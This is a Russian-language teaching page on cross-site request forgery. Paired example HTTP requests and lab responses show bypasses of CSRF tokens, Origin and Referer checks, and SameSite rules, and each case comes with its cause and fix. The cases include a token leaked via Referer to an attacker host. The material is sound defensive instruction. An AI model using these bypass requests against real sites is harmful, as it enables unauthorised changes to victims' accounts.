WEB SECURITY / BROWSER REQUESTS
Cross-Site Request Forgery (CSRF)
Как чужая страница запускает действие в авторизованном браузере и где приложение должно проверять намерение пользователя.
01 / ГДЕ ИСКАТЬ
Где искать
Email, телефон, адрес доставки и настройки: сервер изменяет сохранённое состояние текущего аккаунта.
HTTP-запрос
POST /account/email HTTP/1.1
Host: account.example
Origin: https://attacker.example
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded
email=training%40exampleЧто не так
Сервер опознаёт жертву по cookie и сохраняет email без CSRF-токена.
Как исправить
Проверять токен/доверенный источник запроса при изменении email.
Условие: Браузер должен прикрепить сессию; SameSite может запретить cookie для cross-site POST.
Настройки аккаунта меняются при отправке формы, даже если пользователь находится на другом сайте.
HTTP-запрос
POST /settings/notifications HTTP/1.1
Host: account.example
Origin: https://attacker.example
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded
enabled=falseЧто не так
Изменение не требует подтверждения источника, достаточно сессии.
Как исправить
CSRF-проверка всех операций изменения состояния.
Условие: Сам факт отправки POST не доказывает, что cookie прикрепилась или backend принял действие.
Выход из аккаунта, отмена заказа или смена настройки через GET — удобные точки для CSRF при SameSite=Lax.
HTTP-запрос
GET /billing/cancel?subscription=101 HTTP/1.1
Host: account.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_sessionЧто не так
При переходе по внешней ссылке выполняется изменяющий состояние GET.
Как исправить
GET должен оставаться безопасным; изменения переносить в защищённый POST.
Условие: Для SameSite=Lax речь о top-level navigation GET, не о произвольном фоновом cross-site запросе.
Стандартная HTML-форма способна отправить application/x-www-form-urlencoded, multipart/form-data и text/plain без произвольных заголовков.
HTTP-запрос
POST /orders/101/confirm HTTP/1.1
Host: account.example
Origin: https://attacker.example
Content-Type: application/x-www-form-urlencoded
Cookie: session=victim_session
confirm=yesЧто не так
Обработчик делает изменение, не проверяя источник отправки формы.
Как исправить
Защитить каждый POST с изменением данных CSRF-токеном.
Условие: Браузер не позволяет обычной форме выставить собственный X-CSRF-Token.
API использует cookie сессии браузера, но не требует токен или проверку происхождения для операций изменения.
HTTP-запрос
POST /api/settings HTTP/1.1
Host: account.example
Origin: https://attacker.example
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded
theme=darkЧто не так
API принимает простой form POST из другого origin.
Как исправить
Проверять CSRF и политику Content-Type; для JSON и нестандартных заголовков учитывать CORS/preflight.
Условие: JSON fetch с Content-Type application/json не является simple request; без разрешённого CORS preflight не пройдёт.
Login CSRF — навязанная авторизация пользователя в другом аккаунте; это не кража пароля жертвы.
HTTP-запрос
POST /login HTTP/1.1
Host: account.example
Origin: https://attacker.example
Content-Type: application/x-www-form-urlencoded
username=attacker_demo&password=lab_passwordЧто не так
Вход не защищён CSRF-токеном, а браузер принимает новую сессию.
Как исправить
Защищать login endpoints, корректно связывать вход с намерением пользователя.
Условие: Нужен существующий учебный аккаунт и действительные тестовые учётные данные.
При внешней авторизации проверка state связывает callback с действием, начатым текущей сессией.
HTTP-запрос
GET /oauth/callback?code=lab_attacker_code HTTP/1.1
Host: account.example
Cookie: session=victim_sessionЧто не так
Callback принимает действительный чужой code без проверки state.
Как исправить
Одноразовый state, привязанный к попытке авторизации/подключения.
Условие: Одного выдуманного code недостаточно; требуется реальный код учебного провайдера.
Действие может выполняться от имени администратора, если его браузер отправляет запрос со своей сессией.
HTTP-запрос
POST /admin/teams/8/invite HTTP/1.1
Host: account.example
Cookie: session=admin_lab
Origin: https://attacker.example
Content-Type: application/x-www-form-urlencoded
email=training%40exampleЧто не так
У администратора есть полномочия, но отсутствует проверка намерения отправить приглашение.
Как исправить
CSRF-токен и подтверждение критичных действий; авторизация роли остаётся отдельным контролем.
Условие: CSRF использует уже существующие полномочия жертвы и не создаёт новую административную роль.
02 / КАК РАСПОЗНАТЬ
Как распознать
Сравнивай внешний источник и внутреннюю форму, отправку session cookie и фактическую обработку изменения сервером.
Модель браузерной отправки запроса
Локальная модель: GET считается переходом по ссылке верхнего уровня, POST — HTML-формой. Указанные результаты условны: не учитываются частные исключения конкретного браузера.
Модель HTTP-запроса
Одинаковая операция — разные источники
Легитимный запрос
POST /account/email HTTP/1.1
Origin: https://account.example
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded
email=victim%40example&csrf=valid_tokenМежсайтовая форма
POST /account/email HTTP/1.1
Origin: https://attacker.example
Cookie: session=victim_session # только если браузер приложил
Content-Type: application/x-www-form-urlencoded
email=training%40exampleЕсли защищённый обработчик отклоняет отсутствующий токен — CSRF не подтверждён. Если меняет почту жертвы при реальной сессии и внешнем происхождении — обнаружена CSRF-уязвимость.
1. Найти изменяющий состояние запрос
Искать сохранение профиля, покупку, приглашение, удаление или OAuth callback. Убедиться, что запрос выполняет действие, а не только читает страницу.
2. Выяснить источник полномочий
Посмотреть, какие cookies браузер реально отправляет с запросом. Нельзя считать, что cross-site POST всегда содержит сессию: SameSite может её исключить.
3. Проверить защиту
Выяснить, нужен ли CSRF token, проверяется ли Origin/Referer, есть ли Fetch Metadata и одинаково ли проверяются все маршруты действия.
4. Сравнить результат
На разрешённом учебном стенде сравнить изменение состояния после обычного запроса и запроса из другого origin. HTTP 200 сам по себе ничего не доказывает.
03 / ВЕКТОРЫ CSRF
Векторы атак
01 / Проверка CSRF-токена 8 разборов
Различаем отсутствующий параметр, пустое значение, неверный токен и ошибки проверки. Это отдельные проверки, а не одинаковые payload.
Сервер принимает изменяющий запрос, ориентируясь только на cookie сессии. В этом варианте никакой ветки CSRF-проверки нет, поэтому достаточно одного запроса.
HTTP-запрос
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Когда применимо: Сессия реально прикладывается браузером (например, SameSite=None; Secure), а endpoint не требует CSRF-токена.
Причина
Действие выполняется с cookie жертвы без проверки её намерения.
Как защититься
Включить обязательную серверную CSRF-проверку для небезопасных действий.
Источник: PortSwigger: CSRF token validation
В исходной форме csrf есть, но обработчик проверяет значение только при наличии самого поля.
Вариант 1 — Контроль: неверный токен отклонён
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=wrong_lab_value
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — Изменено: поле csrf удалено
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Изменилось только наличие параметра: неправильное значение отклоняется, полное отсутствие ошибочно разрешено.
Когда применимо: Присутствие неправильного csrf даёт 403, однако полное удаление параметра позволяет изменить данные.
Причина
В ветке «параметр отсутствует» проверка просто пропускается.
Как защититься
Отказывать при отсутствии параметра и при неверном значении.
Источник: PortSwigger: CSRF token validation
Проверяем именно `csrf=` — параметр присутствует, однако у него пустое значение.
Вариант 1 — Контроль: неверный токен отклонён
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=wrong_lab_value
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — Изменено: передано csrf=
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: В первом запросе токен неверный, во втором — пустой. Пустое значение ошибочно проходит проверку.
Когда применимо: Уязвимый обработчик трактует пустую строку как не требующую валидации либо сравнивает два пустых значения.
Причина
Сервер принимает пустой токен вместо обязательного секрета.
Как защититься
Явно запрещать пустые значения; проверять подпись/соответствие сессии.
Источник: PortSwigger: CSRF token validation
Это уточнение, а не подтверждённая уязвимость.
Правильно привязанный к сессии секретный CSRF-токен может работать для нескольких запросов. Это не гарантированный вектор атаки.
Вариант 1 — Первый запрос владельца с действительным токеном
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://account.example.test
Sec-Fetch-Site: same-origin
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=first@example.test&csrf=victim_valid_secret
Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true,"csrf_valid":true}
Вариант 2 — Второй запрос того же владельца с тем же токеном
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://account.example.test
Sec-Fetch-Site: same-origin
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=victim_valid_secret
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true,"csrf_valid":true}
В чём разница: Оба запроса допустимы в одной сессии при per-session token: это демонстрация нормального поведения, а не эксплуатации.
Когда применимо: Атакующий не знает `victim_valid_secret` и не может прочитать его из чужого origin. Повторение пользователем допустимо по модели per-session.
Причина
Повторяемость сама по себе не доказывает дефект. Ошибка существует, если токен угадывается, утекает либо принимается в посторонней сессии.
Как защититься
Можно использовать per-session или per-request; для строгой одноразовости важны отдельные требования и компромисс с удобством.
Источник: OWASP: per-session и per-request tokens
Токен указан, но сервер фактически не сравнивает его с ожидаемым значением.
Вариант 1 — Контроль: действительный токен
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=victim_valid_secret
Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Вариант 2 — Изменено: заведомо неверное значение
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=wrong_lab_value
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Сервер возвращает успешный ответ даже для токена, который не совпадает с секретом сессии.
Когда применимо: На защищённом маршруте неверный токен даёт 403. При проверяемом дефекте сервер сохраняет данные даже с `wrong_lab_value`.
Причина
Наличие поля ошибочно считается достаточным доказательством защиты.
Как защититься
Сравнивать значение токена с секретом пользователя/сессии и отклонять несовпадение.
Источник: PortSwigger: CSRF token validation
Сервер сравнивает короткий префикс, а не полное непредсказуемое значение.
Вариант 1 — Контроль: полный действительный токен
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=ABCD123456
Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Вариант 2 — Изменено: остальная часть токена неверная
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=ABCD000000
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Совпали только первые четыре символа. Остальная часть должна учитываться, но сервер её игнорирует.
Когда применимо: В учебной реализации сервер проверяет только первые четыре символа известного шаблона `ABCD`, остальные игнорирует.
Причина
Фактическая энтропия проверки становится намного ниже заявленной.
Как защититься
Сравнивать весь токен как секретный идентификатор, не усекать и не нормализовать его.
Источник: PortSwigger: CSRF token validation
Один обработчик проверяет токен для обычной формы, но не проверяет его при другом поддерживаемом Content-Type.
Вариант 1 — Форма: проверка CSRF работает
HTTP-запрос 1
POST /api/account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — JSON: CSRF ошибочно пропускается
HTTP-запрос 2
POST /api/account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/json
{"email":"demo@example.test"}
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: В обоих случаях одна операция и один путь. Разница — Content-Type и парсер; при JSON сервер ошибочно не требует CSRF. Межсайтовый JSON потребует успешного CORS preflight.
Когда применимо: Endpoint действительно принимает JSON, csrf проверяется только для form-urlencoded; для межсайтового JSON дополнительно нужен разрешённый CORS preflight или иной подтверждённый путь доставки. В контрольном форменном запросе 403 приходит без токена; если предварительный OPTIONS не разрешён, JSON POST из браузера вообще не будет отправлен.
Причина
Ветка JSON пропускает защитный middleware, а запрос может изменить профиль.
Как защититься
Одинаково защищать действие независимо от формата тела; валидировать Content-Type.
Источник: PortSwigger: preventing CSRF
Бизнес-операция изменяет состояние через GET, поэтому проверка токена на POST не срабатывает.
Вариант 1 — POST без CSRF-токена отклоняется
HTTP-запрос 1
POST /account/email/change HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — GET с изменением состояния проходит
HTTP-запрос 2
GET /account/email/change?email=demo@example.test HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Проверяется один и тот же смысл операции. GET не должен изменять данные, но в уязвимой реализации делает это.
Когда применимо: Top-level GET с cookie SameSite=Lax доходит до приложения; реализация действительно меняет email из GET.
Причина
Защита привязана к HTTP-методу, а изменяющий GET ошибочно считают безопасным.
Как защититься
Запретить изменения на GET, защищать все небезопасные операции.
Источник: PortSwigger: token validation depends on request method
02 / Генерация, привязка и жизненный цикл токена 7 разборов
Токен должен оставаться непредсказуемым и проверяться в контексте правильной сессии. Повторное использование токена в рамках одной сессии допустимо.
Каждая сессия получает один и тот же заранее известный `csrf=STATIC-LAB`.
HTTP-запрос
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=STATIC-LAB
Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Когда применимо: Статическое значение заранее известно атакующему, а сервер принимает его как полноценный токен для сессии жертвы.
Причина
Токен не содержит секрета, связанного с конкретной сессией.
Как защититься
Выдавать криптографически непредсказуемый токен и привязывать его к сессии.
Источник: PortSwigger: CSRF token rules
Значение строится из короткого счётчика или другого известного шаблона.
HTTP-запрос
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=10042
Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Когда применимо: Условие: текущий допустимый для жертвы токен реально вычисляется по известному правилу, а браузер прикладывает session cookie.
Причина
Генератор не обеспечивает непредсказуемость токена.
Как защититься
Использовать криптографически стойкий генератор случайных чисел и секрет нужной длины.
Источник: OWASP: CSRF token guidance
У пользователя A есть свой действительный токен, который сервер ошибочно принимает в сессии B.
Вариант 1 — Свой токен в собственной сессии
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://account.example.test
Sec-Fetch-Site: same-origin
Cookie: session=attacker_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=token_attacker_session
Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Вариант 2 — Чужая сессия с тем же токеном
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=token_attacker_session
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Значение csrf осталось токеном атакующего, изменилась только сессия. Ошибка — отсутствие привязки.
Когда применимо: Атакующий получил `token_attacker_session` в своей учётной записи; сервер лишь проверяет существование токена в общем пуле.
Причина
Нет связи между отправленным токеном и session cookie конкретной жертвы.
Как защититься
Сверять токен именно с сессией, от имени которой выполняется действие.
Источник: PortSwigger: CSRF token validation
CSRF-токен сверяется с отдельной cookie, не связанной с авторизованной сессией.
Вариант 1 — Контроль: неподходящая csrfKey
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab; csrfKey=victim_key
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=attacker_token
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — После установки атакующим csrfKey
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab; csrfKey=attacker_key
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=attacker_token
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Нужно подтвердить внедрение отдельной cookie. Без контроля csrfKey эта схема не срабатывает.
Когда применимо: Есть конкретный способ установить csrfKey жертве (например, недоверенный поддомен), токен из своей сессии совпадает с этой cookie.
Причина
Проверка привязана к cookie, которую можно перенести между пользователями.
Как защититься
Привязать токен к authenticated session, ограничить cookie scope.
Источник: PortSwigger: CSRF token validation
Сервер проверяет только равенство csrf-cookie и параметра csrf.
Вариант 1 — Контроль: поле и cookie не совпадают
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab; csrf=server_secret
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=chosen_value
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — После cookie injection: совпадают
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab; csrf=chosen_value
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=chosen_value
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Уязвимость существует только если атакующий может заставить браузер отправить свою csrf-cookie.
Когда применимо: Атакующий может записать `csrf=chosen_value` в подходящую cookie жертвы и заставить браузер приложить её вместе с параметром формы.
Причина
Параметр и cookie контролируются извне; простое равенство не подтверждает сессию.
Как защититься
Использовать HMAC-signed double-submit с привязкой к session и защищённой cookie.
Источник: OWASP: Signed Double-Submit Cookie
Секрет помещён в URL страницы и может попасть во внешний запрос при небезопасной Referrer-Policy.
Вариант 1 — Шаг 1: токен попал в Referer внешнего ресурса
HTTP-запрос 1
GET /beacon.gif HTTP/1.1
Host: attacker.example
Referer: https://account.example.test/account/settings?csrf=leaked_lab_token
Sec-Fetch-Site: cross-site
Ответ сервера 1
HTTP/1.1 204 No Content
Cache-Control: no-store
Вариант 2 — Шаг 2: утекший токен использован в POST
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=leaked_lab_token
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Токен передался внешнему ресурсу только при небезопасной Referrer-Policy. Современная политика по умолчанию обычно скрывает путь и query от другого origin.
Когда применимо: В учебном стенде токен фактически утёк в Referer внешнему домену и остаётся действительным для сессии жертвы.
Причина
Секрет доступен вне нужного origin и может использоваться повторно.
Как защититься
Не помещать токен в URL, настроить Referrer-Policy и хранение секретов.
Источник: PortSwigger: CSRF token validation
После logout/login прежний токен ошибочно принимается в новой независимой сессии без надлежащей привязки.
Вариант 1 — Контроль: старый токен и старая сессия
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://account.example.test
Sec-Fetch-Site: same-origin
Cookie: session=victim_old_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=old_session_token
Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Вариант 2 — Новая независимая сессия принимает старый токен
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_new_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=old_session_token
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Если токен известен атакующему, ошибочная повторная привязка создаёт риск. Само сохранение корректного секрета внутри непрерывной сессии не ошибка.
Когда применимо: Старый токен уже известен атакующему; новая сессия жертвы независима, но сервер принимает старое значение.
Причина
Токен не связан с актуальной сессией, что допускает перенос секрета между сеансами.
Как защититься
Инвалидировать или менять привязку токена при жизненном цикле сессии.
Источник: PortSwigger: CSRF token validation
03 / Ошибки Origin и Referer 6 разборов
Как сервер ошибочно доверяет отсутствующим, частично совпадающим или некорректно разобранным источникам запроса.
Сервер доверяет любому запросу, если заголовок Origin отсутствует.
Вариант 1 — Контроль: внешний Origin отвергается
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — Изменено: заголовок Origin отсутствует
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Отсутствие Origin не должно автоматически отменять проверку. Реальное отсутствие заголовка нужно подтвердить в браузере.
Когда применимо: Нужно подтвердить, что реальный браузер создаёт такой запрос при допустимой cookie. Удаление Origin в Burp само по себе не доказывает браузерный CSRF.
Причина
Логика проверяет Origin лишь при наличии и пропускает запрос без него.
Как защититься
Проверять валидный токен или безопасно отклонять неизвестный источник.
Источник: OWASP: Origin verification
Внешний домен содержит в имени доверенный домен, но остаётся другим origin.
Вариант 1 — Контроль: посторонний Origin отвергается
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — Подставлен внешний домен с доверенным текстом
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://account.example.test.attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Оба origins внешние. Если второй пропускается, сервер сравнивает подстроку, а не полноценный origin.
Когда применимо: Атакующий реально управляет `account.example.test.attacker.example`; cookies для целевого host разрешены политикой.
Причина
Проверка `contains('account.example.test')` ошибочно доверяет внешнему origin.
Как защититься
Сравнивать нормализованные scheme, host и port целиком.
Источник: OWASP: Origin verification
Некоторые браузерные контексты имеют opaque origin и отправляют `Origin: null`.
Вариант 1 — Контроль: обычный внешний Origin отвергается
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — Opaque origin: Origin равен null
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: null
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Второй сценарий требует настоящего контекста браузера с Origin: null и доступных session cookies.
Когда применимо: Нужен браузерный opaque origin, способный реально отправить POST с session cookie; ручной заголовок недостаточен.
Причина
Сервер принимает null как значение из локального доверенного окружения.
Как защититься
Не доверять null; требовать CSRF-токен или другой строгий контроль.
Источник: OWASP: Origin verification
Проверка источника работает только когда заголовок Referer присутствует.
Вариант 1 — Контроль: внешний Referer отвергается
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Referer: https://attacker.example/form
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — Изменено: Referer отсутствует
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Сервер в этой учебной модели проверяет только Referer и ошибочно доверяет его отсутствию, хотя Origin остаётся внешним.
Когда применимо: В конкретном браузерном контексте Referer действительно отсутствует при отправке формы, а session cookie доступна.
Причина
Сервер считает отсутствие Referer равнозначным доверенному источнику.
Как защититься
Требовать CSRF-токен или безопасный fallback проверки Origin.
Источник: PortSwigger: Referer validation
URL недоверенного сайта содержит доверенный hostname в параметре или пути.
Вариант 1 — Контроль: внешний Referer не содержит доверенный домен
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
Referer: https://attacker.example/form
email=demo@example.test
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — В Referer появился текст имени целевого сайта
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
Referer: https://attacker.example/path?return=account.example.test
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Сам origin страницы остался чужим. Срабатывает только ошибочное сравнение Referer по подстроке и браузерная политика, передающая полный URL.
Когда применимо: Браузер действительно передаёт заданный Referer по действующей политике; сервер ищет лишь подстроку. По политике браузера по умолчанию в cross-origin Referer часто отправляется только origin; нужен небезопасный режим, реально раскрывающий путь и query.
Причина
Любое упоминание имени домена принимается за доверенный источник.
Как защититься
Разбирать URL и сравнивать origin строго.
Источник: PortSwigger: Referer validation
Это уточнение, а не подтверждённая уязвимость.
Сервер вычисляет доверенный host из данных, которые может менять клиент. Важное ограничение: обычная HTML-форма не умеет добавлять X-Forwarded-Host.
HTTP-запрос
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
X-Forwarded-Host: attacker.example
email=demo@example.test
Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Когда применимо: Подтверждена конфигурация, в которой прокси не очищает X-Forwarded-Host, и приложение использует его при проверке target origin. HTML-форма браузера не может самостоятельно выставить X-Forwarded-Host. Этот пример демонстрирует дефект конфигурации reverse proxy в HTTP-клиенте, но не доказывает самостоятельную эксплуатацию через CSRF из браузера.
Причина
Злоумышленник может повлиять на строку, с которой сравнивается источник.
Как защититься
Доверять forwarded headers только от известного прокси и иметь строгий allowlist origin.
Источник: OWASP: Host and proxy verification
04 / SameSite и поведение браузера 5 разборов
Атаки зависят от того, отправляет ли реальный браузер cookie, а также от различия site и origin.
Браузер может приложить session cookie к чужой HTML-форме.
Вариант 1 — SameSite=Strict: cross-site POST без cookie
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{"error":"Session cookie missing"}
Вариант 2 — SameSite=None: браузер приложил cookie
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
